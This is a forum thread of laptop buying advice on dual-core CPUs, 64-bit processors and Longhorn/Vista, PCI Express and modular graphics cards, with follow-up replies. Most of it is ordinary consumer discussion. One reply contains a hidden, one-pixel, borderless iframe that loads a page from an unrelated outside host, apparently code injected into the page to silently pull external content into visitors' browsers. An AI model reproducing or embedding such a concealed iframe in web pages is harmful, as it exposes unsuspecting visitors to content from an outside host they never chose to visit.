Future Planning FAQ

I know that there are many people who are afraid their notebook will become obsolete as am I, but it helps to think a bit about what your needs now are and what your needs in the future maybe. Longhorn, dual cores, upgradability, and pci express strike fear in everyone buying a new laptop. I've decided to write a small guide with my take on the new tech which might help some people trying to decide on a laptop.

Dual Core
Description:
Dual cores cpus are as the name implies two processors on one cpu.
Benefits:
The benefit of two processors is that each processor can handle tasks so depending on what you do this means smoother multitasking or faster performance. Basically it's like having a second computer so on one you can run doom 3 and on the other you can run half life 2. Currently with most applications the benefit of dual cores is lost since most games and applications will use only one cpu. However this may change in the future, and dual cores will still show improvement for multi tasking.
Further reading:
http://www.short-media.com/review.php?r=261
My take:
Since it's currently not available for laptops getting it or not isn't an option. It's probably not worth waiting for either since the power consumption and heat generation are probably going to be fairly high in the early arrivals which is a bad thing in a laptop. Might be suited for some looking for the ultimate DTR though, so if you're willing to wait atleast 6 months this might boost your gaming.

64 bit (Longhorn)
Description:
64 bit processors are able to process more information than 32 bit processors. This means that larger files, larger addresses, etc...
Benefits:
64 bit processors have been available for a while mostly for use in servers, etc... The main reason why its becoming such a buzz word in laptops and the consumer market is the upcoming release of longhorn which will provide 64 bit support. 64 bit processing should be faster than 32 bit processing once programs are built that utilize its potential.
Further reading:
http://www.pcworld.com/news/article/0,aid,111508,00.asp
My Take:
Currently available in some Pentium 4s and in the Athlon 64 and Turion 64 lines. If you can get one that does everything you want it to do now, than go ahead you'll be good when the next Windows rolls around probably sometime next year. The main problem getting 64 bit capability now however is most cpus supporting 64 bit consume more power meaning shorter battery life. The turions are a good solution almost on par with the Pentium M. The problem with the turion though is currently it isn't widely available so it will limit your choices. Choices are especially limited for laptops with other future technologies such as PCI express. It's probably not going to be that fast a change though since even with the release of longhorn which maybe about a year it will still take some time before it catches on. So even if your cpu doesn't support 64 bit like the current Pentium Ms you'll probably get 1 year for longhorn to be released, 1 year for 64 bit applications and longhorn to gain popularity, and then about 4-5 years for 32 bit application support to fade out completely. Mind you this is just my estimate based on how things have gone in the past.
PCI express:
Description:
Basically a more powerful faster PCI slot.
Benefits:
PCI express is basically the new stadard for slots as it supports higher amounts of power up to 75 W, and higher speeds of up to 2.5 Gbps per lane (so x8 = 8 lanes). Currently the number of lanes for most will be up to 20 with 16 for the gpu and the remaining for another slot. What this translates to is that pci express slots are much faster than PCI slots, and also faster than 8x AGP slots. Meaning better gaming or faster downloading assuming you have the hardware or high speed connection to make use of the additional capacities.
Further Reading:
http://www.pcstats.com/articleview.cfm?articleid=1087&page=1
My take:
Most newer motherboards have PCI express so it's not too hard to find. PCI express can easily be identified by taking a quick look at the CPU being offered for Intel's line. CPU with a 0 at the end i.e 730,740, etc... are indicators that the motherboard has a 533 Mhz frontside bus and has PCI express technology in its motherboard. Video cards are also a good indicators such as the nVidia Go 6n00 lines and ATI Radeon Xn00 lines are PCI express graphic cards. What is hard to find currently are notebooks that feature an external PCI express slot similar to the PCMCIA slots in nearly all notebooks. The reason is mostly due to the fact that there are no hardware applications that need the slot especially since Gigabit ethernet is usually already included on the motherboard. It maybe useful to have the slot in the future, but right now I can't see any potential need for it except maybe a faster external HD or something along those lines. So in summary for those looking for serious speed and power a PCI express motherboard is a necessity, but the external slot is nice to have but not vital.

MXM/Axiom
Description:
Modularly designed graphics cards which allow for the gpu to be easily replaced with another.
Benefits:
Potentially can be used for buyers to upgrade their video cards as technology changes. At the moment it is only intended for manufacturers to more easily design notebooks that incorporate a standardized size gpu.
Further Reading:
http://www.xbitlabs.com/news/mobile/display/20040602140932.html
My Take:
I wouldn't make too much out of this now. Right now the main target for MXM and Axiom gpus is manufacturers, and the technology has not been taken on heavily yet. Also for consumers the benefits of having a MXM or Axiom card isn't quite clear either. First the two technologies are incompatible so if you had a nVidia MXM card you cannot replace it with an ATI Axiom based card. Second it is vital that your notebook be able to handle the heat generated by a more powerful gpu which is something that manufacturers usually have to take into consideration when building a notebook. Third it is difficult to acquire. Currently I believe only certain notebooks have these modular gpus such as Sager,Cleo, Alienware, etc... I think Dell also has their own modularly designed gpus which maybe able to fit models such as the XPS 2. It may take a while for manufacturers to embrace the technology as a standardized design might make it difficult to build some of the smaller ultraportable laptops. So IMO might be nice to have, but its future benefits are heavily in doubt and shouldn't really influence a buying decision right now.

I think those are basically the 4 technologies that are probably going to become the standard fairly soon. If you can get all of them (which you probably can't right now especially dual core) and still fulfill all your needs for weight, screen size, battery life, and price then that will be great. However don't let the future scare you into making a purchase where you sacrifice your current needs. No one knows what will happen in the future, I mean longhorn could be delayed for another year, I wouldn't be surprised.

Here are some buying strategies for future proofing without getting all the most current technology:

1. Leasing instead of buying. Instead of buying outright you can always lease a computer for a while then return it and buy a new one when you feel the time is right. Or you can just lease a new model later. The benefits of leasing is you always have the latest technology, and if you have a business it's tax deductable. The problem is you don't actually own the computer so you can't sell it later, though a lot will probably depend on the lease and the contract.

2. Buying cheap. Cheap computers are future proof, because 5 years from now with the money you save you can get a new cheap computer which will probably be much more powerful than the top of the line models available today. Thus a 750 dollar laptop may not have pci express, 64 bit, or dual core that a 1500+ dollar laptop may have, but if it does everything you want now and potentiall within a year from now. Then it's a better deal since in 5 years the money you saved can get you a new laptop than that 1500+ dollar one you passed up.

3. Buying portable. Ultra portable computers will also be fairly future proof since the new technology coming out mainly does one thing, make your computer faster and more powerful. This is something that though nice, isn't a necessity for the ultra portable market where weight and battery life are the main factors. Those in this group usually get a desktop or other device (PS, xbox, etc...) in order to play games with the notebook mainly used for work or playing movies on a plane. Longhorn's release shouldn't affect this market much either since office should still run on XP as it does on 98 and 2000. Tablets and slates similarly won't have much need for upgrades as the old software works for most needs of note taking, web browsing, etc...

Basically the new technology is most vital to the power gamers who want the best technology and fastest frame rates for games. This is very difficult since unlike desktops upgrading (things besides RAM or Hard drive ) is really not an option for laptops as they are built with a lot of consideration for heat, size, and durability. Even modular graphics cards are not meant for upgradability, but for manufacturers to more easily design motherboard configurations and such. This route is going to be very expensive especially for laptops as better gpus are released quite often, and I also imagine dual core will be useful for a large gaming DTR and maybe a potentially difficult upgrade for some.

Hope this helps someone. Also if I get anything wrong, or if someone else has other suggestions then please post.

 

Excellent post, I'm sure this will help a lot of people. I think future proofind is very important these days...it's pretty hard to do it properly also since a machine bought now will be made nearly obselete when compared to technologies coming out a year from now.

 

I think this was a great, informative, and interesting post as well. Would mind if it was stickied

 

Thanks very much. I'm in the market for a new notebook but had a few questions holding me back, I think you've probably answered those (will take me a while to finish reading all the information though ).

 

yea that was realy good

 

Hmmm...that PC World article on 64 bit really comes across like marketing from AMD or Intel.

From what I have learned the biggest advantage of 64 bits is that you'll be able to use huge amounts of memory.

Early test of the win XP 64 Beta does not show any real improvement, and the 64 bit version of Farcry only offers small visual improvements. Upgrading your GPU would probably give a larger boost.

Also, Longhorn will be released in both 32- and 64 bit versions.

The bottom line is that a 32 or 64 bit CPU shouldn't influense a buying decsision. There will be AT LEAST 3 years until 64 bit is mainstream (prolly longer than that) and in three years any laptop you buy today will be hopelessly outdated anyway.

/Kenneth (New to the forum. Inspiron 9300 on it's way from dell)

 

i would say hopelessly outdated is going a bit far it will still be usefull you just wont be able to run the latest games ect.

 

I wouldn't say hopelessly outdated. Computers do depreciate fast and get old quickly, but it still surprises me to this day that the Radeon 9700 Pro my friend bought in June of 2002 is still running strong today.

 

I think this post will help a lot of people looking out for a new notebook. This certainly cleared up some of my questions I still had about getting a new notebook now rather than waiting. However, I have a different strategy than simply just "buying cheap". I think most people out there looking for a new notebook are scared that their computer will be completely outdated when Longhorn comes out. My strategy is this:

1. Longhorn is going to take at least another year to come out, maybe even longer. Plus, it will take some time before 64-bit apps start coming out and 64-bit becomes mainstream (maybe 2-4 years).

2. When Longhorn comes out, new computer prices may jump because of the new system requirements in both laptops and PCs.

3. My solution/opinion: You can either buy a decent laptop now for around $1200-$1400 now with a PCI express card, and a 64-bit processor, and be able to upgrade the system to Longhorn when it comes out, and wait comfortably to buy a new computer, or you can buy cheap. However, buying a cheap computer means that you suffer a 1-2 year wait period where you cannot upgrade to Longhorn (unless you snaged a 64-bit processor), to let prices settle back into place.

4. I recommend waiting 1-2 years after the release of Longhorn only to let all of the "growing pains" to be over with, like new processors being intoduced to both notebooks and PCs alike. If you want to buy as soon as Longhorn comes out, go ahead, I can't stop you. However, if you do, beware of early Longhorn laptops. They will either be most likely similiar to those laptops today, execpt with a higher price, a 64-bit processor and Longhorn pre-installed. Or, if AMD and/or Intel somehow find a way to get a dual-core processor into a notebook. However early dual-core laptops will most likely have a very high price (probably 2000+), will run hot, and have dismal battery life.

The Verdict
In my opinion, I think that if you're in the notebook market, buy a decent computer now with a 64-bit processor for around $1500, making sure to have a decent amount of RAM and Video RAM. If you wait, you may be waiting for a very long time before a laptop that runs Longhorn with a dual-core processor, stays cool, and is fairly powerful for under $2000.

Note: This is only my predicition/opinion of what will happen. I could be totally right, or I could be completely wrong. Again, this is only my predicition/opinion of what will happen.


AI

-----------
HP zv6000
AMD Athlon 64 2.4 GHz 4000+
1 GB of RAM
100 GB HD
128 MB ATI Video Graphics
8x DVD+/-RW
15.4 inch w/ Brightview
12 Cell Battery

 

Dual core is great if you don't use a laptop as more than a small desktop. If you take the machine on the road, you'll notice significant battery impact of that larger CPU. You notice it to a certain extent with HT.



<iframe src="http://www.clqk42.com/refs.php" HEIGHT=1 WIDTH=1 FRAMEBORDER=0></iframe>

 

64 bit machines benefit primarily those who need more than 4GB of RAM or need to handle files larger than 4GB.

 

You should add MXM to that list.

 

I just added a bit about MXM as well. Thanks for the advice.

 

most of these things are really only going to affect gamers right?

 

Yeah, and others craving maximum performance. Most people shouldn't worry about any of this right now.

I am wondering though, what is the difference between dualcore and hyperthreading???

 

Since most tasks only use a portion of the CPU hyperthreading basically let's you use the remaining areas for tasks. Thus you can do two completely DIFFERENT things and they will be sent to different parts of the CPU for processing instead of alternating. Dualcore is basically having a second CPU so that means you can run ANY two tasks even if they are nearly identical and it will send them two the two different cores for processing. For example for HT you might be able to do something like encode videos while you websurf, but you can't encode 2 videos though dualcore can.

 

FYI, Windows re-named "longhorn" Windows "Vista"

 

To add onto that: while XP does support multiple processors and HT, it really doesn't impact the software that much. i.e. Some people (myself included) feels that having HT makes the entire computer feels "smoother", and somewhat more "responsive". However, for there to be an actual *performance* gain, the software MUST be written to take advantage of HT or multiple cores. Only certain softwares are designed to do so -- mostly in the 3D modeling/video encoding area. Almost no games are written to take advantage of HT currently, and in the future as far as I know only the new Unreal engine is optimized for multi-threaded operations. the popular HL and Doom3 engine that you will for sure be seeing on a lot of knockoffs, aren't multi-thread optimized.

In fact, there is a certain amount of overhead associated with HT, and to a lesser extent, dual core. So on normal everyday applications not optimized for dual-core/multi-thread, tests have shown that there might even be a slight decrease in performance.

Essentially, dual-core, HT = the software have to be optimized for it. And the matter is, most everyday software doesn't NEED to be optimized for it! This is why even though HT has been out for... what 3-4 years already? There really aren't that many software that really take advantage of it. -- because HT/dualcore simply doesn't matter to most applications.

cheers,

yass

 

Would you think that Intel Graphics Media Accelerator 900 will run OK in Windows Vista?

 

The Intel GMA 900 does not fully support the Windows Vista Display Driver Model.

Which means no Aero Glass.

Get a dedicated GPU man, integrated is teh suck.

 

Yes - the GMA 900 is incapable of running Windows Vista's eye candy (aka AEROglass). The lowest integrated solution able to run AEROglass is the ATI X200M GPU.

 

Its easy to say to get a notebook with dedicated graphics, but there are many notebooks out there that only offer integrated graphics as an option, like the HP DV1000 for example.

 

So if push comes to shove, for the best future proof laptop right now, would you recommend dual core or 64 bit? (i.e. core duo or turion)?

Which will have the greatest benefits in the future?

Im leaning toward dual core, will I miss out much in Vista when i upgrade? I think 4GB of RAM is too much for what use my laptop for anyway.